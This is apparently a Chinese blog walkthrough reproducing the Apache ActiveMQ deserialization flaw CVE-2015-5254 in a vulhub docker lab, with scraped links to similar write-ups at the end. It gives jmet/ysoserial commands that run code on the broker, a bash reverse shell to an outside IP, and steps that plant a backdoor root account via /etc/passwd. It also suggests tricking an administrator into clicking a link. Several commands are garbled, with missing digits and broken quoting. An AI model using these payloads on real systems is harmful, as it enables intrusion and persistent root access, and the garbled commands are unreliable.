0x00 漏洞前言

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

0x01  漏洞环境

1.在ubuntu16.04下安装docker/docker-compose:

# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
service docker start
# 安装compose
pip install docker-compose
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd activemq/CVE--/
# 自动化编译环境
docker-compose build

2.运行漏洞环境:

docker-compose up -d

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。

使用浏览器直接访问activemq,查看是否部署完毕

http://45.32.101.90:8161/admin/(默认的用户名/密码为admin/admin)

0x02 漏洞复现

1.漏洞利用过程如下:

a.构造(可以使用ysoserial)可执行命令的序列化对象

b.作为一个消息,发送给目标61616端口

c.访问的Web管理页面,读取消息,触发漏洞

2.使用jmet进行漏洞利用:

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

cd /opt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

mkdir external

3.执行命令

java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   45.32.101.90   

4.此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://45.32.101.90:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

5.点击查看这条消息即可触发命令执行

6.此时进入容器

docker exec -it  cc0e9385f975  /bin/bash

7.可看到/ tmp /已成功创建,说明漏洞利用成功:

8.反弹shell:

java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/45.32.101.90/12340>&1" -Yp ROME45.32.101.   

远程主机监听1234端口:

nc  -lvvp 

即可看到反弹是shell:

值得注意的是,通过网络管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

9.添加用户

执行jmet的命令添加test用户并将其添加到root组,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它:

 java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME  45.32.101.90  

让我们再将passwd中的test的uid修改为0,使它拥有root权限,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。

 java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:/test:x:/g" /etc/passwd" -Yp ROME   45.32.101.90  

让我们再为test用户设置一个密码,返回http://192.168.221.185:8161/admin/browse.jsp?JMSDestination=event页面,点击一下消息,触发它。

 java -jar jmet-0.1.-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME   45.32.101.90   

到此为止,一个权限为root,密码为123456的用户即创建完毕。我们可以使用ssh直接远程登陆进入操作系统,并且还是最高权限。

0x03 参考链接

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

 
 
 
 

ActiveMQ反序列化漏洞(CVE-2015-5254)复现的更多相关文章

  1. ActiveMQ 反序列化漏洞(CVE-2015-5254)复现

    1.运行漏洞环境 sudo docker-compose up -d 环境运行后,将监听61616和8161两个端口.其中61616是工作端口,消息在这个端口进行传递:8161是Web管理页面端口.访 ...

  2. Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

    Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现 环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d ...

  3. 6.JBoss5.x6.x 反序列化漏洞(CVE-2017-12149)复现

    2017 年 9 月 14 日,国家信息安全漏洞共享平台( CNVD )收录了 JBOSS Application Server 反序列化命令执行漏洞( CNVD-2017-33724,对应 CVE- ...

  4. 漏洞复现 - ActiveMQ反序列化漏洞(CVE-2015-5254)

    基础知识 MQ(Message Queue):消息队列/消息中间件.消息服务将消息放在队列/主题中,在合适时候发给接收者.发送和接收是异步的(发送者和接收者的生命周期没有必然关系). 队列:消息存在队 ...

  5. ActiveMq反序列化漏洞(CVE-2015-5254)漏洞复现

    漏洞原理 Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的Java Message Service( ...

  6. 漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)

          0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Apache ActiveMQ 5.13.0之前 ...

  7. JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现

    0x00 漏洞介绍 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情 ...

  8. PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现

    前言 最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异....  其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了  今天12点多断网刷了会手 ...

  9. ActiveMQ 反序列化漏洞(CVE-2015-5254)

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192. ...

随机推荐

  1. NO--19 微信小程序之scroll-view选项卡与跳转(二)

    本篇为大家介绍为何我们在最后做交互的时候,并没有使用上一篇讲的选项卡的效果.   scroll-view与跳转.gif (如无法查看图片,还请翻看上一篇!) 大家注意看,在我点击跳转后,首先能看到的是 ...

  2. 关于linux下的命令

    1.文件和目录操作命令 pwd:显示当前的工作目录 cd:切换目录 tree:以树形结构图显示目录下的所有内容 mkdir:创建目录 touch:创建空文件或改变文件的时间戳属性 ls:显示目录下的内 ...

  3. 1.centos6.8安装docker

    简介环境安装依赖安装步骤1.删除旧版本的docker2.安装docker2.1 yum安装docker2.2 tar安装2.3 在线脚本事实证明以上的安装方式都行不通 参考文档:https://doc ...

  4. idea最常使用的快捷键

    撤销 反撤销 : Ctrl+Z / Ctrl+Shift+Z 删除一行 : Ctrl+Y 跳到实现类 : Ctrl+Alt+B 重命名文件:   shift+F6 控制台放大缩小: ctrl+shif ...

  5. 快速删除docker中的容器

    http://blog.csdn.net/cmzsteven/article/details/49230363

  6. Spring的Controller映射规则

    URL映射 1) 一般格式@RequestMapping(value=“/test”) 2) 可以使用模板模式映射,@RequestMapping(value=“/test/{userId}”) 3) ...

  7. POJ 1239 Increasing Sequences 动态规划

    题目链接: http://poj.org/problem?id=1239 Increasing Sequences Time Limit: 1000MSMemory Limit: 10000K 问题描 ...

  8. 【CSAPP笔记】1. 位、字节、整型

    <Computer Systems a Programmer's Perspective>,机械工业出版社.中文译名<深入理解计算机系统>.作者:(美)Randal E.Bry ...

  9. opencv的安装和卸载

    安装 测试环境为centos 安装依赖 yum install cmake gcc gcc-c++ gtk2-devel gimp-develgimp-devel-tools gimp-help-br ...

  10. 运行时错误 429,ACTIVEX部件不能创建对象的解决方法小结

    错误描述: 发布在IIS上面的网站运行时出现如下错误: Microsoft VBscrīpt 运行时错误 错误 '800a01ad' ActiveX 部件不能创建对象 这个错误是asp组件未注册,而导 ...